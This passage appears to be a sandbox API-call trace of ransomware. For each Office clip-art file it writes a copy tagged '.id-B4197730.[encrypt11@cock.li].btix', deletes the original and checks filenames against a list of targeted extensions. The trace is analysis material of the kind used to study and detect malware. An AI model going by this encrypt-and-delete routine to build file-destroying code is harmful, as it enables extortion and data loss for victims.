[0132.346] lstrlenW (lpString=".jpg") returned 4 [0132.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.347] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.347] lstrlenW (lpString="HH01058_.WMF") returned 12 [0132.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0132.362] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=2756) returned 1 [0132.362] CloseHandle (hObject=0x430) returned 1 [0132.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220 [0132.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0132.363] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.363] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0132.364] GetLastError () returned 0x0 [0132.364] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0xac4, lpOverlapped=0x0) returned 1 [0132.381] WriteFile (in: hFile=0x4a8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xad0, lpOverlapped=0x0) returned 1 [0132.382] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.382] WriteFile (in: hFile=0x4a8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0132.382] SetEndOfFile (hFile=0x4a8) returned 1 [0132.382] CloseHandle (hObject=0x4a8) returned 1 [0132.382] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.382] SetEndOfFile (hFile=0x430) returned 1 [0132.384] CloseHandle (hObject=0x430) returned 1 [0132.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0132.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0132.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0132.385] lstrlenW (lpString=".doc") returned 4 [0132.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.385] lstrlenW (lpString=".docx") returned 5 [0132.386] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.386] lstrlenW (lpString=".pdf") returned 4 [0132.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.386] lstrlenW (lpString=".xls") returned 4 [0132.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.386] lstrlenW (lpString=".xlsx") returned 5 [0132.386] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.386] lstrlenW (lpString=".ppt") returned 4 [0132.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0132.386] lstrlenW (lpString=".zip") returned 4 [0132.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.386] lstrlenW (lpString=".rar") returned 4 [0132.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.386] lstrlenW (lpString=".bz2") returned 4 [0132.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.386] lstrlenW (lpString=".7z") returned 3 [0132.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0132.386] lstrlenW (lpString=".dbf") returned 4 [0132.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0132.386] lstrlenW (lpString=".1cd") returned 4 [0132.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0132.386] lstrlenW (lpString=".jpg") returned 4 [0132.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0132.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0132.386] lstrlenW (lpString=".doc") returned 4 [0132.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.387] lstrlenW (lpString=".docx") returned 5 [0132.387] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.387] lstrlenW (lpString=".pdf") returned 4 [0132.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.387] lstrlenW (lpString=".xls") returned 4 [0132.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.387] lstrlenW (lpString=".xlsx") returned 5 [0132.387] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.387] lstrlenW (lpString=".ppt") returned 4 [0132.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0132.387] lstrlenW (lpString=".zip") returned 4 [0132.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.387] lstrlenW (lpString=".rar") returned 4 [0132.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.387] lstrlenW (lpString=".bz2") returned 4 [0132.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.387] lstrlenW (lpString=".7z") returned 3 [0132.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0132.387] lstrlenW (lpString=".dbf") returned 4 [0132.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0132.387] lstrlenW (lpString=".1cd") returned 4 [0132.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0132.387] lstrlenW (lpString=".jpg") returned 4 [0132.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.387] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.388] lstrlenW (lpString="HH01242_.WMF") returned 12 [0132.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0132.389] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=7340) returned 1 [0132.389] CloseHandle (hObject=0x430) returned 1 [0132.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0132.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0132.389] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.389] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0132.390] GetLastError () returned 0x0 [0132.390] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x1cac, lpOverlapped=0x0) returned 1 [0132.694] WriteFile (in: hFile=0x4a8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0132.695] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.695] WriteFile (in: hFile=0x4a8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0132.695] SetEndOfFile (hFile=0x4a8) returned 1 [0132.695] CloseHandle (hObject=0x4a8) returned 1 [0132.695] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.695] SetEndOfFile (hFile=0x430) returned 1 [0132.697] CloseHandle (hObject=0x430) returned 1 [0132.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0132.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0132.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0132.698] lstrlenW (lpString=".doc") returned 4 [0132.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.698] lstrlenW (lpString=".docx") returned 5 [0132.698] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.699] lstrlenW (lpString=".pdf") returned 4 [0132.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.699] lstrlenW (lpString=".xls") returned 4 [0132.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.699] lstrlenW (lpString=".xlsx") returned 5 [0132.699] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.699] lstrlenW (lpString=".ppt") returned 4 [0132.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0132.699] lstrlenW (lpString=".zip") returned 4 [0132.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.699] lstrlenW (lpString=".rar") returned 4 [0132.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.699] lstrlenW (lpString=".bz2") returned 4 [0132.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.699] lstrlenW (lpString=".7z") returned 3 [0132.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0132.699] lstrlenW (lpString=".dbf") returned 4 [0132.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0132.699] lstrlenW (lpString=".1cd") returned 4 [0132.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0132.699] lstrlenW (lpString=".jpg") returned 4 [0132.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0132.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0132.699] lstrlenW (lpString=".doc") returned 4 [0132.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.699] lstrlenW (lpString=".docx") returned 5 [0132.699] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.699] lstrlenW (lpString=".pdf") returned 4 [0132.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.699] lstrlenW (lpString=".xls") returned 4 [0132.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.700] lstrlenW (lpString=".xlsx") returned 5 [0132.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.700] lstrlenW (lpString=".ppt") returned 4 [0132.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0132.700] lstrlenW (lpString=".zip") returned 4 [0132.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.700] lstrlenW (lpString=".rar") returned 4 [0132.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.700] lstrlenW (lpString=".bz2") returned 4 [0132.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.700] lstrlenW (lpString=".7z") returned 3 [0132.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0132.700] lstrlenW (lpString=".dbf") returned 4 [0132.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0132.700] lstrlenW (lpString=".1cd") returned 4 [0132.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0132.700] lstrlenW (lpString=".jpg") returned 4 [0132.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.700] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.701] lstrlenW (lpString="HH01329_.WMF") returned 12 [0132.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0132.701] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=6016) returned 1 [0132.701] CloseHandle (hObject=0x430) returned 1 [0132.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220 [0132.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0132.702] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.702] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0132.702] GetLastError () returned 0x0 [0132.702] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x1780, lpOverlapped=0x0) returned 1 [0132.937] WriteFile (in: hFile=0x4a8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x1790, lpOverlapped=0x0) returned 1 [0132.937] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.938] WriteFile (in: hFile=0x4a8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0132.938] SetEndOfFile (hFile=0x4a8) returned 1 [0132.938] CloseHandle (hObject=0x4a8) returned 1 [0132.938] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.938] SetEndOfFile (hFile=0x430) returned 1 [0132.943] CloseHandle (hObject=0x430) returned 1 [0132.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0132.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0132.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0132.945] lstrlenW (lpString=".doc") returned 4 [0132.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.945] lstrlenW (lpString=".docx") returned 5 [0132.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.945] lstrlenW (lpString=".pdf") returned 4 [0132.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.945] lstrlenW (lpString=".xls") returned 4 [0132.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.945] lstrlenW (lpString=".xlsx") returned 5 [0132.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.945] lstrlenW (lpString=".ppt") returned 4 [0132.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0132.945] lstrlenW (lpString=".zip") returned 4 [0132.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.945] lstrlenW (lpString=".rar") returned 4 [0132.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.945] lstrlenW (lpString=".bz2") returned 4 [0132.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.945] lstrlenW (lpString=".7z") returned 3 [0132.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0132.945] lstrlenW (lpString=".dbf") returned 4 [0132.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0132.945] lstrlenW (lpString=".1cd") returned 4 [0132.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0132.945] lstrlenW (lpString=".jpg") returned 4 [0132.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0132.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0132.945] lstrlenW (lpString=".doc") returned 4 [0132.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.946] lstrlenW (lpString=".docx") returned 5 [0132.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.946] lstrlenW (lpString=".pdf") returned 4 [0132.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.946] lstrlenW (lpString=".xls") returned 4 [0132.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.946] lstrlenW (lpString=".xlsx") returned 5 [0132.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.946] lstrlenW (lpString=".ppt") returned 4 [0132.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0132.946] lstrlenW (lpString=".zip") returned 4 [0132.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.946] lstrlenW (lpString=".rar") returned 4 [0132.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.946] lstrlenW (lpString=".bz2") returned 4 [0132.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.946] lstrlenW (lpString=".7z") returned 3 [0132.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0132.946] lstrlenW (lpString=".dbf") returned 4 [0132.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0132.946] lstrlenW (lpString=".1cd") returned 4 [0132.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0132.946] lstrlenW (lpString=".jpg") returned 4 [0132.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.946] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.946] lstrlenW (lpString="HH01923_.WMF") returned 12 [0132.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, 